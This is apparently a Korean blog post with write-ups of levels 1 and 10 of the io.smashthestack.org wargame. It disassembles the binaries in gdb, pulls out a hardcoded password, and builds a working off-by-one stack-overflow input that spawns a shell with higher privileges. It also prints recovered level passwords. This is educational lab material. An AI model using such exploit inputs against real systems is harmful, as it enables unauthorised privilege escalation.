Search results for 'War game/io.smashthestack.org'

  1. 2010.01.18 -- level1
  2. 2009.05.04 -- level10 1

level1

2010. 1. 18. 15:11

level1@io:~$ cd /levels
level1@io:/levels$ ls
level1     level11.c     level13    level15.c     level16.pass  level18.c  level20  level3.c  level5.c  level7.c  level9.c
level10    level12       level14    level15.pass  level17       level19    level21  level4    level6    level8
level10.c  level12.c     level14.c  level16       level17.c     level19.c  level22  level4.c  level6.c  level8.c
level11    level12.pass  level15    level16.c     level18       level2     level3   level5    level7    level9


위와같이 levels 디렉토리에 바이너리들이 레벨 별로 있습니다.
level1을 실행해보았습니다.

level1@io:/levels$ ./level1
Usage: ./level1 <password>

evel1@io:/levels$ gdb ./level1
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    lea    0x4(%esp),%ecx
0x080483f8 <main+4>:    and    $0xfffffff0,%esp
0x080483fb <main+7>:    pushl  0xfffffffc(%ecx)
0x080483fe <main+10>:   push   %ebp
0x080483ff <main+11>:   mov    %esp,%ebp
0x08048401 <main+13>:   push   %edi
0x08048402 <main+14>:   push   %ecx
0x08048403 <main+15>:   sub    $0x30,%esp
0x08048406 <main+18>:   mov    %ecx,0xffffffe0(%ebp)
0x08048409 <main+21>:   movl   $0x80485c8,0xfffffff4(%ebp)     
 
0x08048410 <main+28>:   mov    0xffffffe0(%ebp),%eax       
0x08048413 <main+31>:   cmpl   $0x2,(%eax)                      이부분은 if(argc<2) { printf("Usage: %s <password>\n");}
0x08048416 <main+34>:   je     0x8048439 <main+69>             argc가 2면 <main+69>로 점프
0x08048418 <main+36>:   mov    0xffffffe0(%ebp),%edx
0x0804841b <main+39>:   mov    0x4(%edx),%eax
0x0804841e <main+42>:   mov    (%eax),%eax
0x08048420 <main+44>:   mov    %eax,0x4(%esp)
0x08048424 <main+48>:   movl   $0x80485d4,(%esp)
0x0804842b <main+55>:   call   0x804832c <
printf@plt>
0x08048430 <main+60>:   movl   $0x1,0xffffffe4(%ebp)
0x08048437 <main+67>:   jmp    0x80484b2 <main+190>
0x08048439 <main+69>:   mov    0xfffffff4(%ebp),%eax
0x0804843c <main+72>:   mov    $0xffffffff,%ecx
0x08048441 <main+77>:   mov    %eax,0xffffffdc(%ebp)
0x08048444 <main+80>:   mov    $0x0,%al
0x08048446 <main+82>:   cld   
0x08048447 <main+83>:   mov    0xffffffdc(%ebp),%edi
0x0804844a <main+86>:   repnz scas %es:(%edi),%al
0x0804844c <main+88>:   mov    %ecx,%eax
0x0804844e <main+90>:   not    %eax
0x08048450 <main+92>:   lea    0xffffffff(%eax), edx              
0x08048453 <main+95>:   mov    0xffffffe0(%ebp),%ecx
0x08048456 <main+98>:   mov    0x4(%ecx),%eax
0x08048459 <main+101>:  add    $0x4,%eax
0x0804845c <main+104>:  mov    (%eax),%ecx
0x0804845e <main+106>:  mov    %edx,0x8(%esp)               .
0x08048462 <main+110>:  mov    0xfffffff4(%ebp),%eax
0x08048465 <main+113>:  mov    %eax,0x4(%esp)
0x08048469 <main+117>:  mov    %ecx,(%esp)

0x0804846c <main+120>:  call   0x804830c <strncmp@plt>      strncmp 함수의 인자 edx, eax, ecx
0x08048471 <main+125>:  test   %eax,%eax
0x08048473 <main+127>:  jne    0x804849f <main+171>
0x08048475 <main+129>:  movl   $0x80485ea,(%esp)
0x0804847c <main+136>:  call   0x80482fc <puts@plt>
0x08048481 <main+141>:  movl   $0x0,0x8(%esp)
0x08048489 <main+149>:  movl   $0x80485ef,0x4(%esp)
0x08048491 <main+157>:  movl   $0x80485f2,(%esp)
0x08048498 <main+164>:  call   0x80482ec <execl@plt>
0x0804849d <main+169>:  jmp    0x80484ab <main+183>
0x0804849f <main+171>:  movl   $0x80485fa,(%esp)
0x080484a6 <main+178>:  call   0x80482fc <puts@plt>
0x080484ab <main+183>:  movl   $0x0,0xffffffe4(%ebp)
0x080484b2 <main+190>:  mov    0xffffffe4(%ebp),%eax
0x080484b5 <main+193>:  add    $0x30,%esp
0x080484b8 <main+196>:  pop    %ecx
0x080484b9 <main+197>:  pop    %edi
0x080484ba <main+198>:  pop    %ebp
0x080484bb <main+199>:  lea    0xfffffffc(%ecx),%esp
0x080484be <main+202>:  ret   
0x080484bf <main+203>:  nop   
End of assembler dump.



strncmp 함수가 호출되기 전에 브레이크 포인트를 설정한 후 프로그램에 인자를 줘서 실행합니다

(gdb) break *main+117
Breakpoint 1 at 0x8048469
(gdb) r AAAAA
Starting program: /levels/level1 AAAAA

Breakpoint 1, 0x08048469 in main ()


(gdb) info reg
eax            0x80485c8        134514120
ecx            0xbfffde8a       -1073750390
edx            0xb      11

ebx            0xec9ff4 15507444
esp            0xbfffdcd0       0xbfffdcd0
ebp            0xbfffdd08       0xbfffdd08
esi            0x0      0
edi            0x80485d4        134514132
eip            0x8048469        0x8048469 <main+117>
eflags         0x200282 [ SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51



위의 내용을 따라 함수 호출을 유추해서 주소의 문자열을 찍어보았습니다.

strncmp(0xbfffde8a, 0x80485c8, 11);

(gdb) x/s 0xbfffde8a
0xbfffde8a:      "AAAAA"
(gdb) x/s 0x80485c8
0x80485c8 <_IO_stdin_used+4>:    "omgpassword"


패스워드를 입력 후 홈 디렉토리로 가서 ,pass 파일의 내용을 확인 :$

level1@io:/levels$ ./level1 omgpassword
Win.
sh-3.1$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)

sh-3.1$ cd /home/level2
sh-3.1$ cat .pass
ef4artie    >  ep4kbyqe----> WE5aVWRwYPhX

다시 풀어볼까 해서 끄적대는데.. 패스워드가 다 바뀌어 있네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org

level10

2009. 5. 4. 18:26

꾸역꾸역 풀고 있긴 합니다만 언제 다 풀런지 모르겠군요T_T

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
        int *i;
        char buf[256];

        i = (int *)getebp();
        limit = *i - (int)buf + 1;

        for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}



level10 의 소스입니다. functin f 의 취약점을 이용해서 입력값 조작을 통해 cookie 값을 "0xdefaced"로 바꾸는게 목적인듯 합니다.

        i = (int *)getebp();    
      limit = *i - (int)buf + 1;

      for (c = 0; c < limit && s[c] != '\0'; c++)
                buf[c] = s[c];

냄새가 나는 부분입니다. 실제로 값을 찍어보면 limit에 0x105 (261)이 들어가서 그만큼 argv의 값을 buf 에 집어넣게 됩니다.( 처음엔 이값에 - 가 찍혀서 .. 자세히 보지도 않고 몇일간 삽질을..)

일단 보고 드는 생각은 그냥 stack에서 cookie 값까지 덮어 씌워서 defaced 로 바꿔주면 되겠구나 했습니다. 그러나 limit 의 크기가 작아서 거기까지는 덮어씌우지를 못했습니다. 어떻게 할까 고민하다가 전역변수로 눈을 돌려봤습니다. limit 와 i 가 전역변수니깐 .bss 영역에 있을 저값을 어떻게 조작할수 없을까 해서 몇일동안 허송 세월을 했습니다. 삽질할때는 참 끈기 있게도 잘 찾아보는거 같습니다 -_-;

몇일 헤메다가 비누님한테 한번 여쭈어 봤더니 30분만에 푸시더군요. 설명은 정확히 해주지 않으셨지만 포인트는 확실히 알았기에 차분히 한줄씩 브레이크포인트 걸어서 살펴봤습니다. 입력값을 점점 늘리면서(argv의 크기 변경) main 함수의 ebp의 변화와 f 함수를 호출하고 난뒤의  레지스터값을 체크해봤습니다.


f 함수의 디스어셈블된 코드

(gdb) disas f
Dump of assembler code for function f:
0x080483fb <f+0>:       push   %ebp
0x080483fc <f+1>:       mov    %esp,%ebp
0x080483fe <f+3>:       sub    $0x110,%esp
0x08048404 <f+9>:       call   0x80483f4 <getebp>
0x08048409 <f+14>:      mov    %eax,0xfffffffc(%ebp)             // eax에는 ebp가 들어있습니다. ebp-4 로 이동.
0x0804840c <f+17>:      mov    0xfffffffc(%ebp),%eax                // i 를 eax로  
0x0804840f <f+20>:      mov    (%eax),%edx                              // eax의 주소를 edx로
0x08048411 <f+22>:      lea    0xfffffefc(%ebp),%eax                       // buf 를 eax로 buf의 위치는 ebp-260 부터 입니다.
0x08048417 <f+28>:      mov    %edx,%ecx                                   // edx를 ecx로
0x08048419 <f+30>:      sub    %eax,%ecx                                // ecx(1의 주소값) 에서 edx buff의 값을 뺍니다.
0x0804841b <f+32>:      mov    %ecx,%eax
0x0804841d <f+34>:      inc    %eax
0x0804841e <f+35>:      mov    %eax,0x804974c                  // 0x804974c 에 limit의 값이 있습니다.
0x08048423 <f+40>:      movl   $0x0,0x8049750                            
0x0804842d <f+50>:      jmp    0x8048452 <f+87>
0x0804842f <f+52>:      mov    0x8049750,%edx
0x08048435 <f+58>:      mov    0x8049750,%eax
0x0804843a <f+63>:      add    0x8(%ebp),%eax
0x0804843d <f+66>:      movzbl (%eax),%eax
0x08048440 <f+69>:      mov    %al,0xfffffefc(%ebp,%edx,1)
0x08048447 <f+76>:      mov    0x8049750,%eax
0x0804844c <f+81>:      inc    %eax
0x0804844d <f+82>:      mov    %eax,0x8049750
0x08048452 <f+87>:      mov    0x8049750,%edx
0x08048458 <f+93>:      mov    0x804974c,%eax
0x0804845d <f+98>:      cmp    %eax,%edx               c가 limit 보다 크면 빠져나간다.
0x0804845f <f+100>:     jge    0x8048470 <f+117>
0x08048461 <f+102>:     mov    0x8049750,%eax
0x08048466 <f+107>:     add    0x8(%ebp),%eax
0x08048469 <f+110>:     movzbl (%eax),%eax
0x0804846c <f+113>:     test   %al,%al
0x0804846e <f+115>:     jne    0x804842f <f+52>
0x08048470 <f+117>:     leave 
0x08048471 <f+118>:     ret   
End of assembler dump.


 

f 함수를 호출하기전과 호출하고 난뒤에 각각 브레이크 포인트를 걸었습니다.

(gdb) b *main+63
Breakpoint 1 at 0x80484b1

(gdb) b *main+68
Breakpoint 2 at 0x80484b6

(gdb) r `perl -e 'print "A"x256'`                 버퍼 사이즈인 256개부터 시작했습니다.

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x257'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x258'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x259'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38


(gdb) r `perl -e 'print "A"x260'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

(gdb) r `perl -e 'print "A"x261'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41                main 함수 ebp의 값이 바뀌었습니다.

(gdb) r `perl -e 'print "A"x262'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x263'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x264'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x265'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x266'`

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc38       0xbfffdc38

esp            0xbfffdc00       0xbfffdc00
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x267'`             

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28                   argv가 증가하면서 main 함수 ebp 값이 바뀌었습니다.
esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41                   f 함수 호출뒤에 ebp 의값은 0xbfffdc41 로 고정됩니다. 
                                                                    
(gdb) r `perl -e 'print "A"x268'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x269'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x270'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x271'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x272'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x273'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x274'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x275'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x276'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x277'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x278'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x279'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x280'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x281'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x282'`

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc28       0xbfffdc28

esp            0xbfffdbf0       0xbfffdbf0
ebp            0xbfffdc41       0xbfffdc41

(gdb) r `perl -e 'print "A"x283'`

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc18       0xbfffdc18

esp            0xbfffdbe0       0xbfffdbe0
ebp            0xbfffdc41       0xbfffdc41

........


(gdb) r `perl -e 'print "A"x300'`

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc08       0xbfffdc08

esp            0xbfffdbd0       0xbfffdbd0
ebp            0xbfffdc41       0xbfffdc41



이렇게 한참동안 생각없이 입력하다보니 f 함수 호출뒤의 ebp 값이 전부 같길래 한번 스택에서 값을 확인해봤더니..

0xbfffdba8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbb8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbc8:     0x41414141   0x41414141   0x41414141   0x41414141
0xbfffdbd8:     0xbfffdc41        0x080484b6      0xbfffdd9f       0x0023c2e8
0xbfffdbe8:     0xbfffdbf8          0x08048380      0x0023dff4      0x08049718
0xbfffdbf8:      0xbfffdc30        0x080482dd      0x00000002      0xbfffdca4
0xbfffdc08:     0x000003e8       0xbfffdc30         0x0023dff4      0x00000000



이게 뭡니까.. for 문에서 261만큼 값이 대입될때 ebp 까지 덮어버려서 마지막 1바이트값만 바뀌는 것이었습니다.

결국 ret 구문에 의해 main 함수로 돌아갈때 조작된 ebp 의 값이 main 함수의 ebp 값이 되버리는 간단한 현상이었습니다 -_-;;;;;;

main 함수에서는 0x08048488 <main+22>:   movl   $0x3e8,0xfffffff0(%ebp)   ebp-16에 쿠키값을 집어 넣습니다 .따라서

위에서 나온것처럼 0xbfffdbd8 을 ebp로 해서 -16 인 0xbfffdbc8에 \xed\xac\xef\x0d 를 넣어주면 되겠습니다.


(gdb) r `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\xd8","A"x22'`

실패했습니다. 우리가 조작할수 있는 값은 ebp의 마지막 1바이트 뿐이기 때문에 여기서 약간의 조작이 필요합니다. 위에서 우리는 argv를 크게 주면 ebp의 값이 점점 감소 한다는 것을 알았습니다. 이를 이용해서 argv의 값을 늘려서 조작된 ebp의 값 -16이 cookie를 가르키도록 해봤습니다.

/levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'

최종 공격 코드를 입력해봤습니다. (경로를 절대경로로 입력하면 gdb와 비슷하다는 말씀을 비누님이 해주셨습니다!)

level10@io:/levels$ /levels/level10 `perl -e 'print "A"x244,"\xed\xac\xef\x0d","A"x12,"\x58","A"x160'`

sh-3.1$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10)

sh-3.1$ cat /home/level11/.pass
bu8itdus



 쉬운문제였는데 뻘짓만 정말 한가득을 했습니다.. 졸려서 마지막은 날림으로..
 이런 에러를 off-by-one 이라고 부르는군요.   비누님 감사! (http://en.wikipedia.org/wiki/Off-by-one_error)

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org